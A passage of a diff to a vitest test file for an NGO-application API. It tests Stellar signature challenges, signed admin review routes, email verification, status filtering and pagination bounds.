reviewNote: 'Insufficient documentation', - }); - - await app.close(); - }); - - it('rejects a non-object (array) body on approve with 400 invalid_request', async () => { - const app = buildServer(); - - const application = await prisma.ngoApplication.create({ data: validApplicationPayload() }); - const url = `/v1/ngo-applications/${application.id}/approve`; - const body = JSON.stringify([]); - const headers = signAdminRequest(adminKeypair, 'POST', url, undefined, body); - - const response = await app.inject({ method: 'POST', url, headers, payload: [] as never }); - - expect(response.statusCode).toBe(400); - expect(response.json().error).toBe('invalid_request'); - - // The invalid request must not have touched the application. - const stored = await prisma.ngoApplication.findUnique({ where: { id: application.id } }); - expect(stored?.status).toBe('PENDING'); - - await app.close(); - }); - - it('rejects a non-object (array) body on reject with 400 invalid_request', async () => { - const app = buildServer(); - - const application = await prisma.ngoApplication.create({ data: validApplicationPayload() }); - const url = `/v1/ngo-applications/${application.id}/reject`; - const body = JSON.stringify(['not', 'an', 'object']); - const headers = signAdminRequest(adminKeypair, 'POST', url, undefined, body); - - const response = await app.inject({ - method: 'POST', - url, - headers, - payload: ['not', 'an', 'object'] as never, - }); - - expect(response.statusCode).toBe(400); - expect(response.json().error).toBe('invalid_request'); - - const stored = await prisma.ngoApplication.findUnique({ where: { id: application.id } }); - expect(stored?.status).toBe('PENDING'); - - await app.close(); - }); - - it('rejects a signature for a different URL than the one requested', async () => { - const app = buildServer(); - - const application = await prisma.ngoApplication.create({ data: validApplicationPayload() }); - const realUrl = `/v1/ngo-applications/${application.id}/approve`; - // Signed for a *different* application's approve endpoint. - const body = JSON.stringify({}); - const headers = signAdminRequest(adminKeypair, 'POST', '/v1/ngo-applications/other-id/approve', undefined, body); - - const response = await app.inject({ method: 'POST', url: realUrl, headers, payload: {} }); - expect(response.statusCode).toBe(401); - - await app.close(); - }); - - it('returns 404 when approving or rejecting a non-existent application id', async () => { - const app = buildServer(); - - const nonExistentId = '00000000-0000-0000-0000-000000000000'; - const approveUrl = `/v1/ngo-applications/${nonExistentId}/approve`; - const approveBody = JSON.stringify({}); - const approveHeaders = signAdminRequest(adminKeypair, 'POST', approveUrl, undefined, approveBody); - - const approveResponse = await app.inject({ - method: 'POST', - url: approveUrl, - headers: approveHeaders, - payload: {}, - }); - expect(approveResponse.statusCode).toBe(404); - expect(approveResponse.json().error).toBe('not_found'); - - const rejectUrl = `/v1/ngo-applications/${nonExistentId}/reject`; - const rejectBody = JSON.stringify({}); - const rejectHeaders = signAdminRequest(adminKeypair, 'POST', rejectUrl, undefined, rejectBody); - - const rejectResponse = await app.inject({ - method: 'POST', - url: rejectUrl, - headers: rejectHeaders, - payload: {}, - }); - expect(rejectResponse.statusCode).toBe(404); - expect(rejectResponse.json().error).toBe('not_found'); - - await app.close(); - }); -}); - -describe('GET /v1/ngo-applications/stats', () => { - beforeAll(() => { - process.env.ADMIN_ADDRESS = adminKeypair.publicKey(); - }); - - afterEach(async () => { - vi.mocked(notify).mockClear(); - await resetDb(); - }); - - it('rejects an unsigned request with 401', async () => { - const app = buildServer(); - - const response = await app.inject({ method: 'GET', url: '/v1/ngo-applications/stats' }); - expect(response.statusCode).toBe(401); - - await app.close(); - }); - - it('returns counts grouped by status for a signed admin', async () => { - const app = buildServer(); - - await prisma.ngoApplication.createMany({ - data: [ - validApplicationPayload({ ownerAddress: fakeAddress('P'), status: 'PENDING' }), - validApplicationPayload({ ownerAddress: fakeAddress('P'), status: 'PENDING' }), - validApplicationPayload({ ownerAddress: fakeAddress('A'), status: 'APPROVED' }), - validApplicationPayload({ ownerAddress: fakeAddress('R'), status: 'REJECTED' }), - ], - }); - - const headers = signAdminRequest(adminKeypair, 'GET', '/v1/ngo-applications/stats'); - const response = await app.inject({ - method: 'GET', - url: '/v1/ngo-applications/stats', - headers, - }); - - expect(response.statusCode).toBe(200); - const body = response.json(); - expect(body.counts).toEqual({ PENDING: 2, APPROVED: 1, REJECTED: 1 }); - expect(body.total).toBe(4); - - await app.close(); - }); - - it('returns zero counts when there are no applications', async () => { - const app = buildServer(); - - const headers = signAdminRequest(adminKeypair, 'GET', '/v1/ngo-applications/stats'); - const response = await app.inject({ - method: 'GET', - url: '/v1/ngo-applications/stats', - headers, - }); - - expect(response.statusCode).toBe(200); - const body = response.json(); - expect(body.counts).toEqual({ PENDING: 0, APPROVED: 0, REJECTED: 0 }); - expect(body.total).toBe(0); - - await app.close(); - }); -}); - -describe('GET /ngo-applications status filter', () => { - beforeAll(() => { - process.env.ADMIN_ADDRESS = adminKeypair.publicKey(); - }); - - afterEach(async () => { - vi.mocked(notify).mockClear(); - await resetDb(); - }); - - /** - * Seeds two PENDING rows plus one APPROVED and one REJECTED, and returns the - * row ids grouped by status. - * - * Two rows share the PENDING status deliberately. With exactly one row per - * status, a `status` filter that was silently ignored would still come back - * with a single row for every query — the per-status assertions below would - * pass while testing nothing. Two PENDING rows make the filtered count (2) - * distinct from both the page size (1) and the unfiltered total (4), so - * dropping the filter anywhere changes a number we actually assert on. - */ - async function seedMixedStatuses() { - const [pendingOne, pendingTwo, approved, rejected] = await Promise.all([ - prisma.ngoApplication.create({ - data: validApplicationPayload({ - ownerAddress: fakeAddress('A'), - name: 'Pending One', - status: 'PENDING', - }), - }), - prisma.ngoApplication.create({ - data: validApplicationPayload({ - ownerAddress: fakeAddress('B'), - name: 'Pending Two', - status: 'PENDING', - }), - }), - prisma.ngoApplication.create({ - data: validApplicationPayload({ - ownerAddress: fakeAddress('C'), - name: 'Approved One', - status: 'APPROVED', - }), - }), - prisma.ngoApplication.create({ - data: validApplicationPayload({ - ownerAddress: fakeAddress('D'), - name: 'Rejected One', - status: 'REJECTED', - }), - }), - ]); - - return { - PENDING: [pendingOne.id, pendingTwo.id].sort(), - APPROVED: [approved.id], - REJECTED: [rejected.id], - all: [pendingOne.id, pendingTwo.id, approved.id, rejected.id].sort(), - }; - } - - it('returns only the applications matching each status value', async () => { - const app = buildServer(); - const expected = await seedMixedStatuses(); - - for (const status of ['PENDING', 'APPROVED', 'REJECTED'] as const) { - const url = `/v1/ngo-applications?status=${status}`; - // The signature covers `${method}:${url}`, query string included, so - // signing the bare path here would 401 instead of exercising the filter. - const headers = signAdminRequest(adminKeypair, 'GET', url); - - const response = await app.inject({ method: 'GET', url, headers }); - - expect(response.statusCode).toBe(200); - const body = response.json(); - - // Assert the exact expected id set, not merely "no other status leaked - // in": a filter matching nothing would satisfy the latter, and it is a - // far easier bug to introduce than an over-broad filter. - const returnedIds = body.applications - .map((application: { id: string }) => application.id) - .sort(); - expect(returnedIds).toEqual(expected[status]); - - // The complement: every returned row actually carries the requested - // status. This is the acceptance criterion stated directly, so a future - // refactor to, say, a substring match on `status` fails loudly here. - for (const application of body.applications as Array<{ status: string }>) { - expect(application.status).toBe(status); - } - - // `total` comes from a separate `count` query in the route. It shares - // the `where` clause with `findMany` today, but nothing enforces that - // pairing — a filter applied to one and not the other is a classic way - // for pagination to disagree with itself. - expect(body.total).toBe(expected[status].length); - } - - await app.close(); - }); - - it('returns every application when no status filter is given', async () => { - const app = buildServer(); - const expected = await seedMixedStatuses(); - - const url = '/v1/ngo-applications'; - const headers = signAdminRequest(adminKeypair, 'GET', url); - - const response = await app.inject({ method: 'GET', url, headers }); - - expect(response.statusCode).toBe(200); - const body = response.json(); - - // This doubles as a check on the fixture itself. If seeding had quietly - // produced four rows of one status, the per-status test above could pass - // without any filtering happening; an unfiltered request that returns all - // four ids proves the rows really are mixed. - const returnedIds = body.applications - .map((application: { id: string }) => application.id) - .sort(); - expect(returnedIds).toEqual(expected.all); - expect(body.total).toBe(expected.all.length); - - await app.close(); - }); - - it('rejects a status value outside the enum with 400 invalid_request', async () => { - const app = buildServer(); - - // 'pending' is not a typo to tolerate: the column stores uppercase enum - // values, so accepting it would need a case-insensitive `where`, which is - // a decision the schema has not made — and silently answering with an - // empty list would be worse than complaining. - // - // The enum is also what keeps an unknown status a clean 400. Passing the - // raw string through to Prisma instead makes Prisma throw on the invalid - // enum value, which surfaces to the client as a 500 — so this assertion - // pins a client-error contract, not just a validation detail. - for (const status of ['DELETED', 'pending']) { - const url = `/v1/ngo-applications?status=${status}`; - const headers = signAdminRequest(adminKeypair, 'GET', url); - - const response = await app.inject({ method: 'GET', url, headers }); - - expect(response.statusCode).toBe(400); - expect(response.json().error).toBe('invalid_request'); - } - - await app.close(); - }); - - it('applies limit and offset inside the filtered set while total counts the whole filtered set', async () => { - const app = buildServer(); - const expected = await seedMixedStatuses(); - - const url = '/v1/ngo-applications?status=PENDING&limit=1&offset=1'; - const headers = signAdminRequest(adminKeypair, 'GET', url); - - const response = await app.inject({ method: 'GET', url, headers }); - - expect(response.statusCode).toBe(200); - const body = response.json(); - - // One row, drawn from the two PENDING rows — not from the four-row table. - // If `offset` paginated the unfiltered result set, the single row returned - // here could be a non-PENDING row; the `total` assertion below is what - // makes that failure deterministic rather than order-dependent. - expect(body.applications).toHaveLength(1); - expect(body.applications[0].status).toBe('PENDING'); - expect(expected.PENDING).toContain(body.applications[0].id); - - // `total` describes the filtered set, so it stays 2 even though only one - // row is on this page. A client paging through PENDING applications needs - // 2 here to know a second page exists. - expect(body.total).toBe(2); - expect(body.limit).toBe(1); - expect(body.offset).toBe(1); - - await app.close(); - }); -}); - -describe('GET /v1/ngo-applications offset bound and stable paging', () => { - beforeAll(() => { - process.env.ADMIN_ADDRESS = adminKeypair.publicKey(); - }); - - afterEach(async () => { - vi.restoreAllMocks(); - vi.mocked(notify).mockClear(); - await resetDb(); - }); - - async function list(app: ReturnType, query: string) { - const url = `/v1/ngo-applications?${query}`; - const headers = signAdminRequest(adminKeypair, 'GET', url); - return app.inject({ method: 'GET', url, headers }); - } - - it('accepts offset 0', async () => { - const app = buildServer(); - - const response = await list(app, 'offset=0'); - - expect(response.statusCode).toBe(200); - expect(response.json().offset).toBe(0); - - await app.close(); - }); - - it('accepts the maximum offset and returns an empty page past the end', async () => { - const app = buildServer(); - await prisma.ngoApplication.create({ data: validApplicationPayload() }); - - const response = await list(app, `offset=${MAX_APPLICATION_LIST_OFFSET}`); - - expect(response.statusCode).toBe(200); - const body = response.json(); - expect(body.offset).toBe(MAX_APPLICATION_LIST_OFFSET); - expect(body.applications).toEqual([]); - expect(body.total).toBe(1); - - await app.close(); - }); - - it('rejects an offset one above the maximum with 400', async () => { - const app = buildServer(); - - const response = await list(app, `offset=${MAX_APPLICATION_LIST_OFFSET + 1}`); - - expect(response.statusCode).toBe(400); - const body = response.json(); - expect(body.error).toBe('invalid_request'); - expect(body.details.fieldErrors.offset).toBeDefined(); - - await app.close(); - }); - - it('rejects very large and negative offsets with 400', async () => { - const app = buildServer(); - - for (const offset of ['2147483648', '9007199254740991', '1e12', '-1']) { - const response = await list(app, `offset=${offset}`); - - expect(response.statusCode, `offset=${offset}`).toBe(400); - expect(response.json().error).toBe('invalid_request'); - } - - await app.close(); - }); - - it('does not query the database for a rejected offset', async () => { - const app = buildServer(); - const findMany = vi.spyOn(prisma.ngoApplication, 'findMany'); - const count = vi.spyOn(prisma.ngoApplication, 'count'); - - const response = await list(app, `offset=${MAX_APPLICATION_LIST_OFFSET + 1}`); - - expect(response.statusCode).toBe(400); - expect(findMany).not.toHaveBeenCalled(); - expect(count).not.toHaveBeenCalled(); - - await app.close(); - }); - - it('breaks createdAt ties by id so offset pages never repeat or skip a row', async () => { - const app = buildServer(); - const sameInstant = new Date('2026-01-01T00:00:00.000Z'); - await Promise.all( - ['A', 'B', 'C', 'D', 'E'].map((suffix) => - prisma.ngoApplication.create({ - data: validApplicationPayload({ - ownerAddress: fakeAddress(suffix), - createdAt: sameInstant, - }), - }), - ), - ); - - const seen: string[] = []; - for (const offset of [0, 2, 4]) { - const response = await list(app, `limit=2&offset=${offset}`); - expect(response.statusCode).toBe(200); - for (const row of response.json().applications) seen.push(row.id); - } - - // Every row exactly once, in a fixed order: id descending. - expect(new Set(seen).size).toBe(5); - expect(seen).toEqual([...seen].sort().reverse()); - - // The same pages requested again return the same rows in the same order. - const again: string[] = []; - for (const offset of [0, 2, 4]) { - const response = await list(app, `limit=2&offset=${offset}`); - for (const row of response.json().applications) again.push(row.id); - } - expect(again).toEqual(seen); - - await app.close(); - }); - - it('still lists newer applications before older ones', async () => { - const app = buildServer(); - const older = await prisma.ngoApplication.create({ - data: validApplicationPayload({ - ownerAddress: fakeAddress('A'), - createdAt: new Date('2026-01-01T00:00:00.000Z'), - }), - }); - const newer = await prisma.ngoApplication.create({ - data: validApplicationPayload({ - ownerAddress: fakeAddress('B'), - createdAt: new Date('2026-02-01T00:00:00.000Z'), - }), - }); - - const response = await list(app, 'limit=2'); - - expect(response.json().applications.map((a: { id: string }) => a.id)).toEqual([ - newer.id, - older.id, - ]); - - await app.close(); - }); -}); +import { Keypair } from '@stellar/stellar-sdk'; +import { afterEach, beforeAll, describe, expect, it, vi } from 'vitest'; + +vi.mock('../../src/notifications/service.js', () => ({ notify: vi.fn() })); + +import { prisma } from '../../src/db.js'; +import { MAX_APPLICATION_LIST_OFFSET } from '../../src/routes/ngoApplications.js'; +import { buildServer } from '../../src/server.js'; +import { notify } from '../../src/notifications/service.js'; +import { fakeAddress, resetDb } from '../helpers/db.js'; +import { signAdminRequest } from '../helpers/adminAuth.js'; + +const adminKeypair = Keypair.random(); +const applicationOwnerKeypair = Keypair.random(); + +function validApplicationPayload(overrides: Partial> = {}) { + return { + ownerAddress: applicationOwnerKeypair.publicKey(), + name: 'Test NGO', + description: 'A test NGO description.', + contactEmail: 'ngo@example.com', + ...overrides, + }; +} + +async function signedApplicationPayload( + app: ReturnType, + overrides: Partial> = {}, + signer: Keypair = applicationOwnerKeypair, +) { + const payload = validApplicationPayload(overrides); + const challengeResponse = await app.inject({ + method: 'POST', + url: '/v1/ngo-applications/challenge', + payload: { ownerAddress: payload.ownerAddress }, + }); + if (challengeResponse.statusCode !== 201) { + throw new Error(`Failed to issue application challenge: ${challengeResponse.statusCode}`); + } + const challengeData = challengeResponse.json() as { challenge: string; message: string }; + const signature = Buffer.from(signer.sign(sep53Hash(challengeData.message))).toString('base64'); + return { ...payload, challenge: challengeData.challenge, signature }; +} + +describe('POST /v1/ngo-applications', () => { + const originalResendApiKey = process.env.RESEND_API_KEY; + const originalEmailFrom = process.env.NOTIFY_EMAIL_FROM; + const originalApiPublicUrl = process.env.API_PUBLIC_URL; + + beforeAll(() => { + process.env.ADMIN_ADDRESS = adminKeypair.publicKey(); + }); + + afterEach(async () => { + if (originalResendApiKey === undefined) delete process.env.RESEND_API_KEY; + else process.env.RESEND_API_KEY = originalResendApiKey; + if (originalEmailFrom === undefined) delete process.env.NOTIFY_EMAIL_FROM; + else process.env.NOTIFY_EMAIL_FROM = originalEmailFrom; + if (originalApiPublicUrl === undefined) delete process.env.API_PUBLIC_URL; + else process.env.API_PUBLIC_URL = originalApiPublicUrl; + vi.mocked(notify).mockClear(); + await resetDb(); + }); + + it('creates a pending application', async () => { + const app = buildServer(); + + const response = await app.inject({ + method: 'POST', + url: '/v1/ngo-applications', + payload: await signedApplicationPayload(app), + }); + + expect(response.statusCode).toBe(201); + expect(response.json().status).toBe('PENDING'); + expect(notify).toHaveBeenCalledWith({ + type: 'application_submitted', + applicationId: response.json().id, + ownerAddress: response.json().ownerAddress, + name: response.json().name, + }); + + await app.close(); + }); + + it('verifies the contact email with a single-use link', async () => { + process.env.RESEND_API_KEY = 'test-key'; + process.env.NOTIFY_EMAIL_FROM = 'verify@example.org'; + process.env.API_PUBLIC_URL = 'https://api.example.org'; + const fetchSpy = vi + .spyOn(globalThis, 'fetch') + .mockResolvedValue(new Response(null, { status: 200 })); + const app = buildServer(); + + const response = await app.inject({ + method: 'POST', + url: '/v1/ngo-applications', + payload: await signedApplicationPayload(app), + }); + expect(response.statusCode).toBe(201); + expect(response.json().emailVerifiedAt).toBeNull(); + expect(fetchSpy).toHaveBeenCalledTimes(1); + + const email = JSON.parse(String(fetchSpy.mock.calls[0][1]?.body)) as { html: string }; + const [, link] = email.html.match(/href="([^"]+)"/) ?? []; + if (!link) throw new Error('verification link was missing from the email'); + const token = new URL(link).searchParams.get('token'); + if (!token) throw new Error('verification token was missing from the link'); + expect(token).toHaveLength(43); + + const verified = await app.inject({ + method: 'GET', + url: `/v1/ngo-applications/verify-contact-email?token=${token}`, + }); + expect(verified.statusCode).toBe(200); + expect(verified.json()).toEqual({ verified: true }); + + const reused = await app.inject({ + method: 'GET', + url: `/v1/ngo-applications/verify-contact-email?token=${token}`, + }); + expect(reused.statusCode).toBe(400); + expect( + (await prisma.ngoApplication.findUnique({ where: { id: response.json().id } })) + ?.emailVerifiedAt, + ).not.toBeNull(); + + await app.close(); + }); + + it('rejects a signature from another Stellar key', async () => { + const app = buildServer(); + const response = await app.inject({ + method: 'POST', + url: '/v1/ngo-applications', + payload: await signedApplicationPayload(app, {}, Keypair.random()), + }); + + expect(response.statusCode).toBe(401); + expect(response.json().error).toBe('invalid_signature'); + + await app.close(); + }); + + it('rejects an expired challenge', async () => { + const app = buildServer(); + const payload = await signedApplicationPayload(app); + await prisma.ngoApplicationChallenge.update({ + where: { challenge: payload.challenge }, + data: { expiresAt: new Date(Date.now() - 1000) }, + }); + + const response = await app.inject({ + method: 'POST', + url: '/v1/ngo-applications', + payload, + }); + + expect(response.statusCode).toBe(400); + expect(response.json().error).toBe('invalid_or_expired_challenge'); + + await app.close(); + }); + + it('rejects invalid input with 400', async () => { + const app = buildServer(); + + const response = await app.inject({ + method: 'POST', + url: '/v1/ngo-applications', + payload: await signedApplicationPayload(app, { contactEmail: 'not-an-email' }), + }); + + expect(response.statusCode).toBe(400); + + await app.close(); + }); + + it('accepts a scheme-less website domain and normalizes it to https://', async () => { + const app = buildServer(); + + const response = await app.inject({ + method: 'POST', + url: '/v1/ngo-applications', + payload: await signedApplicationPayload(app, { website: 'example.org' }), + }); + + expect(response.statusCode).toBe(201); + expect(response.json().website).toBe('https://example.org'); + + await app.close(); + }); + + it('accepts an already-schemed https website without double-prepending', async () => { + const app = buildServer(); + + const response = await app.inject({ + method: 'POST', + url: '/v1/ngo-applications', + payload: await signedApplicationPayload(app, { website: 'https://example.org' }), + }); + + expect(response.statusCode).toBe(201); + expect(response.json().website).toBe('https://example.org'); + + await app.close(); + }); + + it('rejects a malformed ownerAddress with 400', async () => { + const app = buildServer(); + + const payload = validApplicationPayload({ ownerAddress: 'invalid-stellar-address' }); + const response = await app.inject({ + method: 'POST', + url: '/v1/ngo-applications', + payload: { ...payload, challenge: '00000000-0000-4000-8000-000000000000', signature: 'invalid' }, + }); + + expect(response.statusCode).toBe(400); + + await app.close(); + }); + + it('rejects a second pending application from the same address with 409', async () => { + const app = buildServer(); + const payload = await signedApplicationPayload(app); + + const first = await app.inject({ method: 'POST', url: '/v1/ngo-applications', payload }); + expect(first.statusCode).toBe(201); + + const second = await app.inject({ + method: 'POST', + url: '/v1/ngo-applications', + payload: await signedApplicationPayload(app), + }); + expect(second.statusCode).toBe(409); + + await app.close(); + }); + + it('rejects a new application from an already-approved NGO with 409 already_approved', async () => { + const app = buildServer(); + const payload = await signedApplicationPayload(app); + + await prisma.ngoApplication.create({ + data: { ...validApplicationPayload(), status: 'APPROVED' }, + }); + + const response = await app.inject({ method: 'POST', url: '/v1/ngo-applications', payload }); + expect(response.statusCode).toBe(409); + expect(response.json().error).toBe('already_approved'); + + await app.close(); + }); + + it('allows a rejected applicant to submit a new application', async () => { + const app = buildServer(); + const payload = await signedApplicationPayload(app); + + await prisma.ngoApplication.create({ + data: { ...validApplicationPayload(), status: 'REJECTED' }, + }); + + const response = await app.inject({ method: 'POST', url: '/v1/ngo-applications', payload }); + expect(response.statusCode).toBe(201); + expect(response.json().status).toBe('PENDING'); + + await app.close(); + }); + + it('lets only one of two concurrent submissions through', async () => { + const app = buildServer(); + const [firstPayload, secondPayload] = await Promise.all([ + signedApplicationPayload(app), + signedApplicationPayload(app), + ]); + + // Fired together rather than awaited in sequence: sequential requests are + // already covered above, and only a genuine overlap exercises the race + // where both requests read "nothing blocking" before either inserts. + const [first, second] = await Promise.all([ + app.inject({ method: 'POST', url: '/v1/ngo-applications', payload: firstPayload }), + app.inject({ method: 'POST', url: '/v1/ngo-applications', payload: secondPayload }), + ]); + + expect([first.statusCode, second.statusCode].sort((a, b) => a - b)).toEqual([201, 409]); + + const loser = first.statusCode === 409 ? first : second; + expect(loser.json().error).toBe('application_already_pending'); + + const stored = await prisma.ngoApplication.findMany({ + where: { ownerAddress: firstPayload.ownerAddress }, + }); + expect(stored).toHaveLength(1); + expect(stored[0].status).toBe('PENDING'); + + await app.close(); + }); +}); + +describe('GET /v1/ngo-applications/status', () => { + afterEach(async () => { + vi.mocked(notify).mockClear(); + await resetDb(); + }); + + it('returns the review note for the latest reviewed application without exposing submitted details', async () => { + const app = buildServer(); + const ownerAddress = fakeAddress('S'); + + await prisma.ngoApplication.create({ + data: validApplicationPayload({ ownerAddress, status: 'REJECTED' }), + }); + const latest = await prisma.ngoApplication.create({ + data: validApplicationPayload({ + ownerAddress, + status: 'REJECTED', + reviewNote: 'Please provide registration documents.', + }), + }); + + const response = await app.inject({ + method: 'GET', + url: `/v1/ngo-applications/status?ownerAddress=${ownerAddress}`, + }); + + expect(response.statusCode).toBe(200); + const body = response.json(); + expect(body.status).toBe('REJECTED'); + expect(body.createdAt).toBe(latest.createdAt.toISOString()); + expect(body.updatedAt).toBe(latest.updatedAt.toISOString()); + expect(body.reviewNote).toBe('Please provide registration documents.'); + // No contact details or other application fields leak out. + expect(Object.keys(body).sort()).toEqual(['createdAt', 'reviewNote', 'status', 'updatedAt']); + + await app.close(); + }); + + it('returns 404 when the address has no application', async () => { + const app = buildServer(); + + const response = await app.inject({ + method: 'GET', + url: `/v1/ngo-applications/status?ownerAddress=${fakeAddress('N')}`, + }); + + expect(response.statusCode).toBe(404); + expect(response.json().error).toBe('not_found'); + + await app.close(); + }); + + it('rejects a malformed address with 400', async () => { + const app = buildServer(); + + const response = await app.inject({ + method: 'GET', + url: '/v1/ngo-applications/status?ownerAddress=not-an-address', + }); + + expect(response.statusCode).toBe(400); + expect(response.json().error).toBe('invalid_request'); + + await app.close(); + }); + + it('rejects a missing address with 400', async () => { + const app = buildServer(); + + const response = await app.inject({ method: 'GET', url: '/v1/ngo-applications/status' }); + + expect(response.statusCode).toBe(400); + + await app.close(); + }); +}); + +describe('admin NGO application review', () => { + beforeAll(() => { + process.env.ADMIN_ADDRESS = adminKeypair.publicKey(); + }); + + afterEach(async () => { + vi.mocked(notify).mockClear(); + await resetDb(); + }); + + it('rejects an unsigned request with 401', async () => { + const app = buildServer(); + + const response = await app.inject({ method: 'GET', url: '/v1/ngo-applications' }); + expect(response.statusCode).toBe(401); + + await app.close(); + }); + + it('returns 503 when admin authentication is not configured', async () => { + const app = buildServer(); + const configuredAddress = process.env.ADMIN_ADDRESS; + delete process.env.ADMIN_ADDRESS; + + try { + const response = await app.inject({ method: 'GET', url: '/v1/ngo-applications' }); + expect(response.statusCode).toBe(503); + expect(response.json().error).toBe('admin_auth_not_configured'); + } finally { + if (configuredAddress === undefined) delete process.env.ADMIN_ADDRESS; + else process.env.ADMIN_ADDRESS = configuredAddress; + await app.close(); + } + }); + + it('rejects a validly encoded signature with the wrong byte length', async () => { + const app = buildServer(); + const headers = signAdminRequest(adminKeypair, 'GET', '/v1/ngo-applications'); + headers['x-admin-signature'] = Buffer.alloc(63).toString('base64'); + + const response = await app.inject({ method: 'GET', url: '/v1/ngo-applications', headers }); + expect(response.statusCode).toBe(401); + expect(response.json().error).toBe('unauthorized'); + + await app.close(); + }); + + it('allows a correctly signed admin request', async () => { + const app = buildServer(); + const headers = signAdminRequest(adminKeypair, 'GET', '/v1/ngo-applications'); + + const response = await app.inject({ method: 'GET', url: '/v1/ngo-applications', headers }); + expect(response.statusCode).toBe(200); + + await app.close(); + }); + + it('rejects a seconds-based timestamp with a clear unit error', async () => { + const app = buildServer(); + const headers = signAdminRequest(adminKeypair, 'GET', '/v1/ngo-applications', Math.floor(Date.now() / 1000).toString()); + + const response = await app.inject({ method: 'GET', url: '/v1/ngo-applications', headers }); + expect(response.statusCode).toBe(401); + expect(response.json().error).toBe('timestamp_unit_mismatch'); + + await app.close(); + }); + + it('rejects replaying the same signed request within the freshness window', async () => { + const app = buildServer(); + const headers = signAdminRequest(adminKeypair, 'GET', '/v1/ngo-applications'); + + const first = await app.inject({ method: 'GET', url: '/v1/ngo-applications', headers }); + expect(first.statusCode).toBe(200); + + const replay = await app.inject({ method: 'GET', url: '/v1/ngo-applications', headers }); + expect(replay.statusCode).toBe(401); + expect(replay.json().error).toBe('replayed_signature'); + + await app.close(); + }); + + it('paginates applications while reporting the full total', async () => { + const app = buildServer(); + await Promise.all( + ['A', 'B', 'C'].map((suffix) => + prisma.ngoApplication.create({ + data: validApplicationPayload({ ownerAddress: fakeAddress(suffix) }), + }), + ), + ); + + const url = '/v1/ngo-applications?limit=2&offset=1'; + const headers = signAdminRequest(adminKeypair, 'GET', url); + const response = await app.inject({ method: 'GET', url, headers }); + + expect(response.statusCode).toBe(200); + const body = response.json(); + expect(body.total).toBe(3); + expect(body.limit).toBe(2); + expect(body.offset).toBe(1); + expect(body.applications).toHaveLength(2); + + await app.close(); + }); + it('approves a pending application', async () => { + const app = buildServer(); + + const application = await prisma.ngoApplication.create({ + data: { ...validApplicationPayload(), emailVerifiedAt: new Date() }, + }); + const url = `/v1/ngo-applications/${application.id}/approve`; + const body = JSON.stringify({}); + const headers = signAdminRequest(adminKeypair, 'POST', url, undefined, body); + + const response = await app.inject({ method: 'POST', url, headers, payload: {} }); + expect(response.statusCode).toBe(200); + expect(response.json().status).toBe('APPROVED'); + expect(response.json().reviewedBy).toBe(adminKeypair.publicKey()); + expect(response.json().reviewedAt).toBeTypeOf('string'); + + const stored = await prisma.ngoApplication.findUnique({ where: { id: application.id } }); + expect(stored?.status).toBe('APPROVED'); + expect(stored?.reviewedBy).toBe(adminKeypair.publicKey()); + expect(stored?.reviewedAt).toBeInstanceOf(Date); + expect(notify).toHaveBeenCalledWith({ + type: 'application_reviewed', + applicationId: application.id, + ownerAddress: application.ownerAddress, + status: 'APPROVED', + }); + + await app.close(); + }); + + it('notifies when a pending application is rejected', async () => { + const app = buildServer(); + const application = await prisma.ngoApplication.create({ + data: { ...validApplicationPayload(), emailVerifiedAt: new Date() }, + }); + const url = `/v1/ngo-applications/${application.id}/reject`; + const body = JSON.stringify({ reviewNote: 'Insufficient documentation' }); + const headers = signAdminRequest(adminKeypair, 'POST', url, undefined, body); + + const response = await app.inject({ + method: 'POST', + url, + headers, + payload: { reviewNote: 'Insufficient documentation' }, + }); + + expect(response.statusCode).toBe(200); + expect(response.json().status).toBe('REJECTED'); + expect(response.json().reviewedBy).toBe(adminKeypair.publicKey()); + expect(response.json().reviewedAt).toBeTypeOf('string'); + expect(notify).toHaveBeenCalledWith({ + type: 'application_reviewed', + applicationId: application.id, + ownerAddress: application.ownerAddress, + status: 'REJECTED', + reviewNote: 'Insufficient documentation', + }); + + await app.close(); + }); + + it('rejects a non-object (array) body on approve with 400 invalid_request', async () => { + const app = buildServer(); + + const application = await prisma.ngoApplication.create({ data: validApplicationPayload() }); + const url = `/v1/ngo-applications/${application.id}/approve`; + const body = JSON.stringify([]); + const headers = signAdminRequest(adminKeypair, 'POST', url, undefined, body); + + const response = await app.inject({ method: 'POST', url, headers, payload: [] as never }); + + expect(response.statusCode).toBe(400); + expect(response.json().error).toBe('invalid_request'); + + // The invalid request must not have touched the application. + const stored = await prisma.ngoApplication.findUnique({ where: { id: application.id } }); + expect(stored?.status).toBe('PENDING'); + + await app.close(); + }); + + it('rejects a non-object (array) body on reject with 400 invalid_request', async () => { + const app = buildServer(); + + const application = await prisma.ngoApplication.create({ data: validApplicationPayload() }); + const url = `/v1/ngo-applications/${application.id}/reject`; + const body = JSON.stringify(['not', 'an', 'object']); + const headers = signAdminRequest(adminKeypair, 'POST', url, undefined, body); + + const response = await app.inject({ + method: 'POST', + url, + headers, + payload: ['not', 'an', 'object'] as never, + }); + + expect(response.statusCode).toBe(400); + expect(response.json().error).toBe('invalid_request'); + + const stored = await prisma.ngoApplication.findUnique({ where: { id: application.id } }); + expect(stored?.status).toBe('PENDING'); + + await app.close(); + }); + + it('rejects a signature for a different URL than the one requested', async () => { + const app = buildServer(); + + const application = await prisma.ngoApplication.create({ data: validApplicationPayload() }); + const realUrl = `/v1/ngo-applications/${application.id}/approve`; + // Signed for a *different* application's approve endpoint. + const body = JSON.stringify({}); + const headers = signAdminRequest(adminKeypair, 'POST', '/v1/ngo-applications/other-id/approve', undefined, body); + + const response = await app.inject({ method: 'POST', url: realUrl, headers, payload: {} }); + expect(response.statusCode).toBe(401); + + await app.close(); + }); + + it('returns 404 when approving or rejecting a non-existent application id', async () => { + const app = buildServer(); + + const nonExistentId = '00000000-0000-0000-0000-000000000000'; + const approveUrl = `/v1/ngo-applications/${nonExistentId}/approve`; + const approveBody = JSON.stringify({}); + const approveHeaders = signAdminRequest(adminKeypair, 'POST', approveUrl, undefined, approveBody); + + const approveResponse = await app.inject({ + method: 'POST', + url: approveUrl, + headers: approveHeaders, + payload: {}, + }); + expect(approveResponse.statusCode).toBe(404); + expect(approveResponse.json().error).toBe('not_found'); + + const rejectUrl = `/v1/ngo-applications/${nonExistentId}/reject`; + const rejectBody = JSON.stringify({}); + const rejectHeaders = signAdminRequest(adminKeypair, 'POST', rejectUrl, undefined, rejectBody); + + const rejectResponse = await app.inject({ + method: 'POST', + url: rejectUrl, + headers: rejectHeaders, + payload: {}, + }); + expect(rejectResponse.statusCode).toBe(404); + expect(rejectResponse.json().error).toBe('not_found'); + + await app.close(); + }); +}); + +describe('GET /v1/ngo-applications/stats', () => { + beforeAll(() => { + 